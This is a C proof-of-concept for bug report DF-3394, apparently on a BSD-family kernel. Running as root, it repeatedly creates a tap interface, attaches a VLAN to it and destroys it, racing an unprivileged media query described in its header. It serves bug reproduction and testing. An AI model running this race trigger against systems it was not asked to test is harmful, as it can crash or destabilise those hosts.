/*
 * DF-3394 PoC (privileged churn side): cycle the parent lifetime
 * create -> SIOCSETVLAN(vlan0 on tap0) -> destroy.
 *
 * Destroy of tap0 races the unprivileged SIOCGIFMEDIA on vlan0.
 * Must run as root.  usage: ./race_churn [seconds]
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/vlan/if_vlan_var.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>

int
main(int argc, char *argv[])
{
	struct ifreq ifr;
	struct vlanreq vlr;
	time_t t_end = time(NULL) + (argc > 1 ? atoi(argv[1]) : 60);
	int s;
	long n = 0, cok = 0, dok = 0;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); return 1; }

	while (time(NULL) < t_end) {
		/* create tap0 */
		memset(&ifr, 0, sizeof(ifr));
		strlcpy(ifr.ifr_name, "tap0", IFNAMSIZ);
		if (ioctl(s, SIOCIFCREATE, &ifr) == 0) {
			cok++;
			/* attach vlan0 -> tap0 */
			memset(&ifr, 0, sizeof(ifr));
			strlcpy(ifr.ifr_name, "vlan0", IFNAMSIZ);
			memset(&vlr, 0, sizeof(vlr));
			strlcpy(vlr.vlr_parent, "tap0",
			    sizeof(vlr.vlr_parent));
			vlr.vlr_tag = 7;
			ifr.ifr_data = (caddr_t)&vlr;
			ioctl(s, SIOCSETVLAN, &ifr);

			/* destroy tap0: fires ifnet_detach_event */
			memset(&ifr, 0, sizeof(ifr));
			strlcpy(ifr.ifr_name, "tap0", IFNAMSIZ);
			if (ioctl(s, SIOCIFDESTROY, &ifr) == 0)
				dok++;
		}
		n++;
		if (n % 20000 == 0) {
			printf("churn=%ld created=%ld destroyed=%ld\n",
			    n, cok, dok);
			fflush(stdout);
		}
	}
	printf("done churn=%ld created=%ld destroyed=%ld\n", n, cok, dok);
	return 0;
}
